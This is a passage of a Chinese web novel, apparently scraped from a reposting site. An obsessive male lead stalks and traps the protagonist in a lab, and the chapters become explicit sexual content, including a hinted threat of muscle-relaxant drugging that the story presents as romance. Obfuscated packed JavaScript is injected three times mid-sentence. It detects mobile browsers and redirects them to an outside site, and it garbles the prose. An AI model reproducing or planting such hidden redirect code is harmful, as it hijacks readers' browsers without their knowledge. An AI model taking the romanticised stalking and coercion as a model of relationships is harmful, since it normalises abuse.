路池垂眸,笑道:“谢谢,下节课再见。” “路老师再见!” 身后七嘴八舌的声音逐渐远去。 路池离开艺术院,走在A大校园的侧道上,路边不断有人侧目。他没在意,听见脑海里的系统期期艾艾地询问。 【宿主......你为什么不理主角攻了?】 那天回去后,路池忽然想到什么,皱眉将梁嘉树的消息设置了免打扰。 而这一周里,梁嘉树给路池发了整整上千条信息加电话,全部被路池无视放置。系统在数据流里心惊胆战地看,生怕哪天主角攻被宿主逼疯了,带着人强行上门抓人。 不怪它多想。 第一天上午,路池招呼没打就走,梁嘉树给他发的消息还算正常: 【伤怎么样,还痛吗?】 【…你的下唇很软。】 【路池,你会亲别的狗吗?】 第二天深夜,变成转账加电话: 【为什么不回消息】 【给你转了两个月的投资】 【路池,接电话。】 第三天、第四天、第五天、第六天...... 最后,得不到任何回应的梁嘉树不再说话,开始沉默地发照片视频。 有时候上一秒路池还在吃饭,下一秒手机一震,就收到自己举着筷子的即刻偷拍。 有时候是刚穿来时,打过他的那群高利贷大哥跪在镜头前,拖着血肉模糊的身体磕头哭着认错。 有时候则是凌晨,梁嘉树发来改了无数遍的协议条款,将所有条件都翻倍赠予,外加他本人自愿的器官无偿捐献书,捐赠对象那一栏,写着路池的名字。 最后一条是今天凌晨。 他终于发来一行文字。 LJS:【你喜欢什么道具?】 ...... 路池没有回复。 头顶日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822414|158509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光烫人。 他眯起眼,随便走进一栋安静的建筑躲太阳,淡淡垂眸:【我只是突然想到,梁嘉树的性格很偏执。】 但他不知道,他能偏执到这种程度。 所谓的训狗协议,路池只当是主角攻的心血来潮。但当天回去后他脱离情绪,迅速察觉不对——梁嘉树性格太邪,才认识几天就能OOC到为了他学狗叫。再继续下去,不知会变得多鬼。 这个角色的感情太沉重了。 沉重到无法接受“所有物”有一丝一毫的游离。 可这是小说世界,在招惹主角团的同时,路池还要保证他们的生命安全。 【以主角攻的性格,如果我们继续接触,到了后期,他会自顾自将我视作他的所有物。】 【我对其他主角多说一句话,他可能就会莫名其妙发疯。】 按照梁嘉树跟踪开盒的法外狂徒行为,主角团很可能会突然被送进火葬场——用真火烧成灰的那种。 所以与其浪费情绪,不如趁现在刚接触,干脆断掉他一个,保全所有角色。 系统哦了声。 半晌,它又声音很小地问:【那宿主......你那天为什么亲他呀?】 路池挑了下眉,没说话。 手机微信震动两下,他拿出来,是许久没见的顾言言。 还没来得及点开。 腰间忽然传来一阵巨大力道。 有人猝不及防自黑暗中伸手,一把扣住他的腰,猛地将路池推进走廊深处的实验室,砰地关上金属大门。 黑暗瞬息间覆盖。 头顶没有开灯,漆黑陌生的环境中,一个高大身影仿佛阴冷鬼魂,完全而不容拒绝地笼罩住他。 距离太近。 路池听见一道几乎快消失的呼吸声,和一股浅淡刺鼻的生化试剂味。 他皱了下眉,没说话。 半晌。 梁嘉树终于忍不住,冷冷开口:“为什么不说话。” 不等路池回答。 梁嘉树似乎看见他紧皱的眉头,忽然略重地呼吸了几下,将冰冷的声音和情绪迅速调整平静。 几秒后,他淡声道:“这里是我的实验室,没有我的允许,没人能出去,也没人敢进来。” 周围漆黑寂静。 路池嗯了声,伸手推了下这只发疯男鬼:“先开灯。” 梁嘉树一顿,似乎没想到他是这个反应。 但路池已经再次皱眉,轻轻一脚踢在他小腿,言简意赅:“开灯。” “梁嘉树,我不喜欢这么黑。” “......” 梁嘉树沉默片刻,从口袋掏出什么,咔哒按下。 昏黄灯光洒落。 头顶瞬间亮起一盏夜灯。 路池被灯光微微刺到,下意识后退半步,撞到桌子。 然而这个动作仿佛刺激到梁嘉树,他瞬间脸色阴沉,一把掐住路池手腕,不容拒绝地将他困在自己与身后桌子的缝隙,紧紧相贴。 身后哗啦一阵响。 路池转头看去,神色顿住—— 冰冷的金属台上,原本摆放的实验器材全部消失,无数乱七八糟的情.趣道具代替机器,毫无廉耻地摆在了桌上:手铐、口.球、皮鞭、滴蜡、捆绑绳、狗耳朵...... 下巴忽然被人掐住,扭转回头。 灯光下,梁嘉树盯着路池的眼睛,膝盖用力顶.开他的腿,面无表情:“你喜欢什么道具?” 路池看着他,忽然垂眸,很轻地吻了下这只掐着自己的手。 手掌肌肉瞬间绷紧。 路池笑了下,歪头问他:“给你用,还是给我用?” 15.世界一 夜灯昏暗浮沉,影影绰绰笼罩路池漂亮的脸。 他的睫毛很长,翘起的尾睫坠着暖金色微光,含笑看过来时,总给人一种温柔错觉。 尤其是当他被掐住下颌。 过大的掌心包裹住三分之二的脸,路池歪头,很温顺般靠在那只手上,垂眸落下一个羽毛般的吻。 轻飘飘的。 梁嘉树却瞬间感到掌心一阵被灼烧的痛。 ——掐着路池的是他,可无法做出任何粗暴行为的,也是他。 梁嘉树盯着路池,半晌,漆黑的眼中情绪来回翻涌,声音却听不出任何波动:“你猜。” 猜一猜,这些造型下流的道具给谁用。 路池又笑起来,扒开他的手看了眼金属台,又很快将脸放回他手心,明知故问:“梁嘉树,你是不是很想把这些用在我身上?” ——是不是很想锁住他、关住他、控制他? 男人脸颊柔软,毫无恐惧地紧贴着梁嘉树的掌心,亲密又温热。 梁嘉树喉结滚动,沉默许久,忽然很慢地吐出了一口气。 ......路池总是这样,不管梁嘉树发什么疯,都能不受丝毫影响。 ——收到偷拍照片,他看一眼就放下手机,继续埋头认真苦吃。 ——收到求饶视频,他津津有味地点开观看,边看边点头保存。 信息轰炸、连环电话、偷拍恐吓......梁嘉树一切超出正常人范围的围追堵截,对路池都不管用。他看起来漂亮脆弱,实际却比任何人都淡定强大,是疯子最无可奈何的那种冷静型人格。 就连现在,他强行将路池困在这片昏暗灯光中,路池也会对他露出一个笑容,然后理所当然地指使他开灯关灯。 梁嘉树忽然有些不知该拿路池怎么办。 如果可以,他真想现在就用手铐锁住路池,再也不允许他有任何忽冷忽热、忽远忽近。还想用那些下流的道具,逼问出路池的真心话:你到底想要什么? 说出来。 梁嘉树一定给得起。 实验室很静。 两个人被这小片灯光笼罩,因为距离太近,落下的影子仿佛一对互相依偎的有情人。 路池大概是站累了,靠在金属台边,沉默片刻,忽然开口:“梁嘉树,我们谈一谈?” 他想,或许他和主角攻之间缺少一场谈话。 冷暴力不可取,路池知道,自己是将主角团都当成了没有血肉的NPC,才会放任梁嘉树失控。 就像冷眼旁观攻二和主角受那样。 但梁嘉树太执着了。 比起狗,更像是偏执的狼。冷久了,会扑上来咬穿喉咙。 梁嘉树一顿,几秒后,掐着他的手慢慢松开,点头,结实有力的双臂依旧牢牢挡在路池腰际。 “......好,谈谈。” 路池也点头,措辞片刻,刚要开口。 “等一下。” 梁嘉树忽然俯身,垂眸挥开那堆乱七八糟的情/趣用品,又从柜子里抽出一条全新毛毯,平铺在空荡冰凉的金属台上。 而后,他伸手揽住路池的腰,像摆放一个西洋娃娃那样,轻松一提,就将他抱到了毛毯上,端正摆好。 梁嘉树看了眼毛毯,确定路池不会被冰到,才面无表情松手:“好了,你继续说。” 路池:“......” 青年双眸漆黑,表情好自然,似乎并不认为刚才的行为有什么不对。 可比起转账送东西、躲在暗处窥伺,他此刻下意识的妥帖行为,才更像是出自本能——喜欢一个人后,天生的那股本能。 路池盯着梁嘉树,片刻,忽然莫名其妙地拍了拍身侧,问他:“要不要一起坐?” “......” 梁嘉树目光莫名,摇头:“不用,我不累。” 路池嘴硬:“我也不累。” 梁嘉树想也没想:“你不累的时候不是这样。” 灯光温温柔柔地洒落。 路池眨了下眼,几秒后,慢吞吞问:“那是怎样?” 梁嘉树看了他一眼,没什么情绪地形容:“腿会甩着走,四肢像快散架。” “眼皮不耐烦垂着,下意识到处找东西靠。” 想了想,他又面无表情补充:“但是你身高腿长,这样也不难看。” 上次在FOM门口梁嘉树就发现了。 路池觉得累的时候会很懒,像只被抽掉铁架中轴的棉花娃娃,又或商场门口迎风摇摆的长条充气人偶,恨不得当场晕倒秒睡,特别没骨头。 当然,他那么漂亮,就算是扮秒睡的充气人偶也很好看。 “......” 路池沉默好久,连谈话都忘记,憋出一句:“很明显吗?” 梁嘉树又摇头:“还好。” ——是他每时每刻都在观察路池,才会发现这些细微细节的不同。 实际上路池体态很好,仿佛曾经养成的习惯,偶尔才会露出那么一点无意的不顾形象。 而梁嘉树喜欢这种不顾形象。 又或者说,他渴望离真实的路池近一些。渴望透过那张总是游刃有余的、笑吟吟的漂亮脸庞,靠近路池真正的灵魂。 “......” 话题不知不觉间扯好远。 原本有些凝固的气氛被这样日常的对话一搅,似乎变得轻快和谐。 四目相对。 梁嘉树看着路池的眼睛,忽然开口:“路池,我已经想了很多遍。” 路池嗯了声,洗耳恭听:“想什么?” 梁嘉树:“从认识那天到现在,我们的每一次对话、每一场见面、每一个表情。” 路池一顿,就听见梁嘉树面无表情问:“路池,我是不是哪里做的不对?” 所以才会惹路池生气,忽然冷落远离他。 这一周以来,梁嘉树的心被从未有过的焦躁阴冷包围。 夜店那晚,路池已经签了那份协议。梁嘉树以为这至少意味着他已经默许自己的靠近——他对他露出那样轻盈的眼神,甚至跟着他回家,低头轻吻他的指尖,笑得狡黠又灵动。 像朵生机勃勃的百合花。 可一夜过去,路池忽然不辞而别。所有消息、询问、试探都变成毫无意义的石头,被扔进沉默冷淡的大海,得不到丝毫回应。 情绪波动最大的时候,梁嘉树甚至深夜独自来到路池家门外,隔着冰冷墙壁站在门口,幻想里面的人此刻正在做什么—— 他在睡觉吗?还是认真准备教案? 又或刚洗完澡出来,因为怕热所以没用吹风机,顶着一头半湿碎发,一边擦头发一边哼歌。 出租屋上下几户早就被梁嘉树花钱“请”搬家了。 寂静空荡的走廊,梁嘉树面无表情站在原地,幻想着某一刻路池忽然打开门,对自己挑眉露出一个微笑。 空气寂静。 路池看着梁嘉树。 因为金属台不算高,他们一坐一站,路池罕见地比梁嘉树要矮一个头。 听见梁嘉树的问题,他抬头,一双眼睛睁得很大,好笑又好气地反问:“你说呢?” “梁嘉树,我以为你有最基本的法律常识。” “跟踪偷拍是违法的,把人打得骨折吐血是违法的,录视频让人磕头道歉也是违法的。” “这些天你做的一切,都是违法的、错误的。” 路池看着梁嘉树,想起他发给自己的那份器官捐赠书,更是头疼。 他罕见叹了口气,语重心长:“如果我报警,把你发的东西交给警察,你现在已经进去等判刑了,知道吗?” 这个世界虽然是小说世界,但也有严谨的法律。主角攻才二十岁,从来没有遭受过什么虐待苛责,到底为什么会变成一副法外狂徒的样子? 路池看着梁嘉树,没有再笑,一副年上哥哥教训人的模样:“我刚刚说的谈一谈,就是想谈这个。” “梁嘉树,你不能再这样。” 他伸手,从一旁台上捞起一根带着锋利金属倒刺的皮鞭,又拿来一个大到夸张的金属口球,皱眉:“你觉得这些东西像话吗?” 这些东西已经超出“情趣”范围,称得上恶意虐打了。 “就因为刚认识不到两个月的人断联一周,你偷拍发疯就算了,还把我推到这里又掐又抱,摆出一桌子道具。” “A大到处都是监控,你以为你很聪明?” 话音落下。 梁嘉树也立刻皱眉:“我不会对你用这些,这是让你出气用的。” ——那些垫了软布的手铐,才是梁嘉树给路池准备的。 ......这是重点吗?重点难道不是违法乱纪? 路池闭了闭眼,忽然伸手,没什么耐心地扯住梁嘉树头皮,一把拽到眼前,直视主角攻的双眼。 他从上至下地睨住他,声音罕见冷淡:“梁嘉树,不要避重就轻。” “暴力,是最低级的发泄。只有最无能的人,才会用虐打这种手段。” 男人单手拿着那根狰狞皮鞭,黑色皮质松松交缠,衬得皮肤越发瓷白。灯光下,淡紫色青筋隐隐透出皮肉,像一块晶状玉髓。 他的声音也冷淡如玉,垂眸,用皮鞭的锋利倒刺轻轻拍了拍梁嘉树的脸。 “如果我真的生气,我会直接让你滚,而不是像只狗一样,厚着脸皮纠缠。” 啪嗒一声。 路池将皮鞭扔在脚下,双眸又冷又刺,却有种令人心惊的美,劲劲的,过于扎人。 这是他第一次在梁嘉树面前露出这副样子。 路池的脾气其实一直不算太好。 从小在福利院长大,他被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823944|158509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 领养过三次,也被弃养过三次。 领养他的家庭都很好,没有任何虐待、苛责、打骂。因为路池长得好看,他们领养他时都很开心,对他也不算差,直到他们有了自己的亲生小孩。 人的精力是有限的。 三次领养,路池分别在新家呆了一年半、八个月、三个月。小小的他被牵着走出福利院,没过多久,又独自拖着行李回来。 因为他一被收养就能怀孕的传言,竟然有不孕不育的夫妇特地找来,还是院长妈妈做主,一直养着他,不再让他被任何家庭领走。 平心而论,这种事情不怪任何人。但路池很烦周围邻居们的目光,尤其是一些傻叉中年男,眼里带着同情与猎奇,高高在上地打量他,让人想给他们一拳。 路池也真的给了他们好几拳。 然后就被按住打成了熊猫眼。 他不服,每天放学去捡瓶子、卖连环画、兜售烟盒,赚的钱立刻拿去报武术班,学了一个暑假,最后成功带领一群小屁孩反击成功,打得那几个中年失业男鼻青脸肿。 路池还假哭呜呜卖惨,博取其她邻居的同情。 长大以后,他因为赚钱进了娱乐圈,有了一群热烈喜欢他的粉丝。于是路池对自己更狠,捧着那些珍贵的真心,像只乐呵呵不停飞的鸟,来不及找到能够停靠的岛。 一直飞,一直飞。 然后啪唧,意外死掉了。 简直死得太没面子。 路池深吸口气,强迫自己将注意力拉回,看着梁嘉树严肃道:“听懂了吗?” “下次再买这些东西,我就亲手塞进你嘴里。” 灯光下,他居高临下地警告他。白衬衫下是被妥帖包裹的长腿,腰身很细,因为坐着的姿势,布料紧贴皮肤,透出一点清晰漂亮的腹肌轮廓。 声音冷冷的。 表情坏坏的。 ......很性感。 梁嘉树盯着他,双眸难以抑制地带上了侵略性,仿佛在隔空用目光一寸一寸舔遍路池的全身,炽热而滚烫。 但梁嘉树还是下意识抓住了关键词:“下次?” ——他们还有机会......有下次? 梁嘉树还以为今天这样冒犯他,路池会彻底对自己厌恶。 这一周里,他不知道自己哪里做错,什么手段都用过,什么手段都没用——他想过强行破门,将路池带回锁进自己的公寓。 但当他站在出租屋门前,听见路池一边擦头发一边哼歌,清越的尾音隐隐传来,婉转悦耳。 他垂眸安静听完,过了许久,转身沉默离开。 梁嘉树希望路池是快乐的。 一直快乐。 所以他回到A大,在教室光明正大地看他。如果不是那些学生都对他露出炽热的、迷恋的眼光,如果不是躲在黑暗中窥视时,看见顾言言发来的消息,梁嘉树不会忍不住将路池拽进来。 他无法忍受他的目光落在任何人身上。 这些道具也确实是道具。 但不是用来上/床,而是用来堆在实验室,然后一边幻想着路池站在这里,一边自顾自对着空气练习道歉的。 道完歉,再重新追求路池。 路池不答应,梁嘉树就一直追。 追到死也很好。 实验室很安静。 路池看着梁嘉树,挑眉,很无奈般叹了下气:“是啊,还有下次。” 断联一周都能疯成这样。 再继续下去,这个世界也别存在了,收拾收拾直接闭眼等毁灭吧。 他看着梁嘉树,冲他眨眼:“不然你把我没骨头的事情说出去怎么办?” 温暖夜灯下,路池露出一个很轻很漂亮的笑。 是错觉吗?那双浅褐色的眼睛好亮,看过来时,令梁嘉树血液连同心脏都在剧烈发烫。 他像自由的鸟,而他是长了脚的岛。 追着他跑,好像刻进了梁嘉树无法抗拒的本能。 片刻,梁嘉树忽然上前,伸出手,试探地轻轻握住了路池的手腕。 男人垂眸,没有挣扎,很平静地随便他握。光洁温热的皮肤贴在掌心,腕骨纤细锋利。 梁嘉树看着他,半晌,才轻声问:“为什么?” 路池挑眉,本想踢他小腿让他见好就收,下一秒,却忽然想到什么。 哗啦一声。 梁嘉树一顿,就见路池忽然侧头,饶有兴趣地俯身在那些道具里摸啊摸。 最后,他摸出来一个皮质的、薄而韧的、带蕾丝的……黑色腿环。 夹在大腿上的。 路池转头,勾着腿环的指尖伸出,轻飘飘落在梁嘉树掌心,几秒后,挠了下他掌心的薄茧。 “梁少爷,你不是想用在我身上吗?” 他笑起来,语气里有把钩子,还故意叫他梁少爷。 16.世界一 如果钓男人是种能力,那路池大概就是天赋型选手,无师自通。 他的指尖有点凉,柔软得像流动的白玉,勾过掌心时挠出一点轻微的痒。 梁嘉树下意识去捉,力道很大地攥紧路池手掌,几秒后才反应过来,松开一点点,但依旧握着。 腿环硌在掌心,染上他们的体温。 梁嘉树艰难地无视路池的问题,要在魅魔面前当卫道士,声音略哑:“....…你还没告诉我,为什么。” 是转账够大,还是送的东西够多? 又或是他足够执着? 梁嘉树像只穷追不舍的狗,势必要弄清路池忽然宽容的原因,好为下一次的忽冷忽热做准备。 路池不知道他的心思,想了想,十分坦诚道:“因为如果你发疯的话,这个世界就会毁灭。” 梁嘉树:“......” 系统吓得在脑海里尖锐爆鸣:【宿主!!】 ——这是可以说的吗?! 路池恍若未闻,很真诚地继续说:“你不知道吧梁嘉树?其实你是这个世界的主角,整个世界都是围着你转的,要是你出事情,这个世界就会毁灭。” 灯光下,他一本正经地说玩笑话,大大的眼睛被夜灯镀上一层暖色微光,像童话里会讲人话的团绒小动物。 让人好想抓在手里揉搓一下。 梁嘉树顿了顿,眼神不自觉也跟着放缓,很配合地嗯了声:“那另一个主角是谁?” 路池:“顾言言。” 梁嘉树:“......” 路池:“他是你官配哦。” 梁嘉树:“???” 那很坏了。 梁嘉树面无表情,表情忽然冷得像死了爹:“我觉得还是毁灭比较好。” 全部去死。 “......”路池低头,忍不住剧烈笑起来。皮质腿环贴在二人交握的手间,随着他笑的频率抖动,有点硌手。 梁嘉树心脏微动,仿佛循光的飞蛾,下意识上前半步,与路池十指紧紧相扣。 指根紧贴指跟。 是有些得寸进尺的姿势。 但路池笑得身体都有些软了,心情一好,就很宽容地默许了他的靠近,还边笑边问他:“你怎么不问问我的角色?” 梁嘉树顿住,似乎在思考路池能说出什么令他再次想毁灭世界的词语——比如别人的男朋友/主人/情夫......之类。 但他还是配合他:“你是什么角色?” 路池说:“我是正义又迷人的救世主,为了让你不要毁灭世界留在这里,唉,太善良。而且所有人都喜欢我,连路过的蚂蚁看见我也要尖叫说:太好了,是救世主,我们有救了!” 脑海中的系统:【......】 那很好了。 话音落下,梁嘉树特别自然地点头,没有异议:“你确实是。” 世界围绕着主角们转。 可梁嘉树只围绕路池转。 路池就又忍不住笑起来,表情不要太自信灿烂。他看了眼手中腿环,脚尖轻轻踢了下梁嘉树的小腿,挑眉:“你很喜欢这个?” ——从刚才到现在,梁嘉树的裤子已经起了很久很明显的反应。 他可真是......路池想,自己算不算被这人的厚脸皮感染了?竟然也习惯梁嘉树动不动就怒然大勃了。 好可怕的习惯啊...... 明知故问的问题,梁嘉树却还是面无表情回答:“你怎样我都喜欢。” 路池想戳这个假兮兮的死装哥:“真的假的——那我不理你你也喜欢?” “......”梁嘉树沉默几秒,平静回答:“嗯,喜欢。” “喜欢。” “不理也喜欢。” “怎样都喜欢。” 这下轮到路池没话说。 他哦了声,拿着那个腿环假装研究,因为被梁嘉树扣着手,所以不得不低头。圆滚滚的脑袋尖抵在青年肩头,发根又多又密,身上有种很淡的香气。 几乎整个人都在梁嘉树怀里。 梁嘉树心跳又在加快,搂着路池像搂着一个易碎瓷器。好几秒后,路池才忽然抬头,很一言难尽地看着他:“......梁嘉树,你硌到我腿了。” ——年轻人就是精神。 距离太近,路池能闻到梁嘉树身上的化学试剂味。比起文质彬彬的草木香,他竟然觉得这个更像是真实的梁嘉树。 很怪,很冷静理智。 但也很容易发生反应,沸腾爆.炸。 梁嘉树一顿,一点也不尴尬地嗯了声,声音略哑:“你在我面前,在我怀里,手里还拿着情趣用品。” 再没点反应,他应该换一个生理性别,又或者去医院挂专家号治阳.痿。 路池被他说得一顿:“......也对。” 他想起从前在片场观摩学习过的爱情戏码,忽然抬眸,用湿润多情的眼睛盯住梁嘉树,与此同时,脚尖暧昧地轻轻蹭了下他的小腿。 西裤锋利的褶皱被蹭乱。 梁嘉树肌肉一紧,对上路池饶有兴趣的观察目光,仿佛被一只新生魅魔用尾巴狠狠扇了下脸,本就坚硬的地方瞬间更加充血。 路池还笑:“哇,梁嘉树你......还能更精神啊?” 不愧是小说的主角攻。 梁嘉树没说话。 几秒后,他忽然伸手,一言不发按住路池作乱的那条腿,另一只手拿起腿环,利落扯开蕾丝暗扣,滚烫掌心一路往下贴住路池大腿,将他整个人往自己怀里用力按。 梁嘉树常年做实验,手指很灵活。 也学习过钢琴,指节又硬又长。 于是路池还没来得及阻止,就被他猝不及防单手抱起。这人力气大得吓人,轻而易举托住他这个成年男人后,还能用另一只手掐他大腿。 炽热指尖隔着一层轻透西裤,灵巧又色.情地摸索路池覆着薄薄肌肉的温热大腿。 路池从没被人这么放肆地摸过,罕见懵掉一秒,腰却因为生理反应敏感得一抖,充分表演了什么叫玩火自焚。 “梁嘉树。” 梁嘉树嗯了声,用腿环当借口继续摸,声音又沉又哑:“不是要戴腿环?” “你喜欢戴在哪,腿.根,还是更上面?” “......” 你快要摸到我胸口了! 狭小的空间里,他们心跳都很快。梁嘉树呼吸好热,说话时气息扑在路池耳边,将那块白玉般的皮肤熏出病态的红。 路池的眼角也红,薄薄一层皮肤仿佛裹了火星,热到发烫。一双浅褐色瞳孔润得湿淋淋一片,看过来时像色.情片里的主角,糜艳生香。 梁嘉树被这一眼看得充血到发痛,忽然开口,嘶哑说:“这里没有监控。” “......” 路池终于从生理反应中缓神,力气回来,立刻咬牙一把掐住这人脖子,感觉他像只随地发情的疯狗:“你有病还是我有病?放手。” 谁家好人在实验室开搞?有病吧! 他的声音也罕见地带了沙哑,像是放了薄荷叶的冰沙,咬在嘴里又冷又辣。 梁嘉树连他说了什么都没听清。 只想亲。 仿佛被狐狸精蛊惑的年轻道士,脖子上传来的痛感只能令梁嘉树更加兴奋。路池看见他紧缩成两点的漆黑瞳孔,闭了闭眼,心底暗骂一声疯狗。 骂完,他无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14833433|158509||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奈用力,扯着梁嘉树要压过来的头往后拽,胸膛起伏两下:“梁嘉树,放开我。” 梁嘉树嗯了声,完全没在听:“好。” “......” 鼻尖的化学试剂味更重。 路池被他弄得也有点躁,呼吸发飘。 他皱眉,一巴掌扇在梁嘉树脖子上,而后猛地挣脱开桎梏,跳下怀抱,往后退了两步。脚下不知踩到什么,啪嗒几声,头顶亮起两盏明亮灯光。 暧昧的昏黄光线瞬间被覆盖。 路池竟有点松了口气:“时间不早了,我先走了。” 说完就要离开。 下一秒,炽热掌心无声贴上细腰。 梁嘉树从身后用力揽住路池,仿佛死也甩不脱的水鬼,往他有反应的前面探:“路池,实验室没有监控。” “但放松肌肉的试剂有很多。” “......” 路池啧了声,忽然转身,一把按住那只揉摸自己的手,挑眉看着他:“梁嘉树,我不和学生搞。” “......” 梁嘉树一顿:“你是助教。” 路池:“什么意思,你看不起助教?助教也是老师哈。” 梁嘉树:“......没有看不起。但你当助教才半天。” 路池嗯了声:“一日为师,终生为父。有意见?” “......” 梁嘉树漆黑的瞳仁盯着他,手被按住动不了,但也不移开。就这么像只男鬼一样堵在面前,偏执又阴郁。 路池和他对视,片刻,问:“你到底想干什么?” ——路池不可能随便和人上床,梁嘉树了解他,现在为什么这么执着? 明亮灯光下,男人浅褐色的瞳孔被光映得澄澈,眼尾还残留着一抹病态殷红,神情却始终冷静清醒。 梁嘉树看着他,片刻,沙哑平静道:“给我一个证明的机会。” 路池皱眉:“证明什么?” “证明不管是物质还是身体,我都能做得最好。” “好到你不会再像这次一样,毫无征兆踢开我。” 灯光下,青年眼瞳极黑,透着令人心惊的偏执、不安、难缠、神经质。 路池一顿。 下一秒。 梁嘉树面无表情按下手边开关,咔哒两声,灯光连同夜灯一起熄灭。 黑暗重新笼罩。 这一次,路池却注意力转移,难得没有感到不安。 带着薄茧的指尖灵巧探至腰间,伸进白衬衫,仿佛观看揣摩过无数遍教学视频,极富有技巧地安抚温热皮肤,逐渐往下。 路池呼吸略重,躲不掉,干脆伸手,一把按住跪在他面前的青年。 第一反应是,这人好大只。 跪下来也很大只。 然后他很轻地笑了下,汗珠顺着湿润额发滑落,落在高挺锋利的鼻骨,声音难得带了情.欲:“梁嘉树,你真是条疯狗。” 疯得可以。 梁嘉树沙哑嗯了声,发梢蹭过路池漂亮的腹肌,刺得发痒。说不出清晰词语,他就抬手,握住路池按在自己后颈的手,强行掰开,又湿又热地与他十指紧扣。 路池垂眸。 片刻,很轻地捏了捏梁嘉树掌心。 下一秒。 梁嘉树一僵,忽然闷哼一声,呼吸骤然凌乱发烫。 “......” ? 沉默许久。 黑暗中忽然传来扑哧一声笑,而后是强忍笑意的沙哑安慰,憋笑到发抖。 “没事......” “时间短也很可爱啊。” “......” “哈哈哈哈哈!” 17.世界一 不知过了多久。 啪嗒一声,实验室终于亮起灯。 梁嘉树起身,咽下嘴里的东西,随手从一旁开了瓶矿泉水。 只是他满脸阴沉郁气,连喝水也冷着脸,指节将瓶身捏得咯吱作响,一副对伴侣有心无力的阳.痿男模样,不要太搞笑。 路池憋住笑意,决定假装没看见,以免伤害处男的自尊心。唉,他真是太善良。 “梁嘉树,我也想喝水。” 他的声音还残留着情欲卷过的沙砾,听在耳里像被猫爪子挠了一下,微微发痒。 白衬衫也被解开大半,露出锋利锁骨。若隐若现的腹肌薄薄一层,缀着许多暧昧细碎的吻痕,像是被谁又黏又密地舔.舐过,还能看见零星牙印。 梁嘉树沙哑嗯了声,挑了一瓶最好看的矿泉水,拧开瓶盖递过去。 路池很礼貌:“谢谢哦。” 梁嘉树一顿,抬眸看他。 灯光下,路池衣衫很凌乱。 因为才结束,他懒洋洋裹着毛毯坐在金属台上,纤长漂亮的腿舒展开,汗湿碎发黏在光洁额头,上翘的眼瞳湿漉漉,整个人都泛着微妙色.气的潮意。 明明没做到本垒,却一副很色的模样。 太犯规。 察觉到视线,路池咕咚咕咚喝完水,眼睛看过来:“怎么啦?” ......不是错觉,他的尾音真的有点黏。 于是梁嘉树知道,这个人心情很好、或者感到舒服时......似乎会无意识撒娇。 这个堪称可爱的发现令他呼吸微紧,阴沉郁气瞬间褪去,只留下骤然发软的心脏,和又充血起来的反应。 路池余光一瞥,看见他再次起立的裤子,沉默两秒,终于忍不住笑喷:“梁嘉树,说真的要不你去看看医生吧?” 消消火吧孩子! 谁知梁嘉树误解他意思,表情瞬间沉下来,一把圈住路池手腕,铁青着脸解释:“我没经验所以才......我的意思是,这是意外,下次我不会再这样。” 他哑声:“下次我保证不低于一小时。” 这是什么丈夫保证不当秒男的戏码?路池忍笑,嗯嗯点头,眼神好真挚,特别相信他:“虽然我也没经验,但我相信你,加油,你可以。” 梁嘉树盯着他亮晶晶含笑的眼睛,沉默片刻,没再说话,额头上有热汗滑落。 路池将人拽过来,随手用报废的衬衫擦了两下,指尖习惯性捏了捏他后颈:“去洗澡。你这里有衣服吧?” 梁嘉树经常在实验室休息,里面专门建了个洗浴室,旁边柜子里挂着不少干净衣服。他点头,单手抱着路池走到浴室门口才放下,蹲下来给他调水温。 路池感觉自己像颤颤巍巍的老佛爷,笑得乐不可支:“哎,你好体贴哦,还抱我过来。” 他在后面像仓鼠一样咯吱咯吱笑,梁嘉树穿着狼狈的裤子,一脸汗地在沉默试水温,闻言头也不抬:“你皮肤泛红,捏我的时候也没之前有力气,腿还摆得很乱七八糟。” 一看就是发懒不想动弹的样子。 梁嘉树很想路池一直这样犯懒,这样自己就可以帮路池做一切事了。 本垒没上,但他骨子里的控制欲已经在泛滥。总是幻想着他们下一次做的时候穿什么、事先要给路池准备好温水、记得买套和润滑、还要给路池买个好看的水杯——他那个悲伤青蛙水杯太丑了,堪称猎奇。 梁嘉树在情不自禁幻想很多“以后”。 这很不好。 太沉重只会将这只自由漂亮的蝴蝶吓跑。 ——他得忍耐。 “调好了。” 路池眨眼,就见梁嘉树不知被谁惹到,堪称浑身冒黑气地打开沐浴头,也不顾身上湿淋淋的衣服,转身就要出去。 他不由笑起来,伸手勾住青年结实有力的大臂,轻轻一拽,就将阴沉的主角攻拽了过来。 “我让你走了吗。” 喷头洒落水珠,浴室溢满蒸腾热气。 路池睨住梁嘉树,抬手撩起自己湿透的额发,一双上翘的多情眼在水雾中显得很润,也很勾人:“不想动,你帮我洗。” 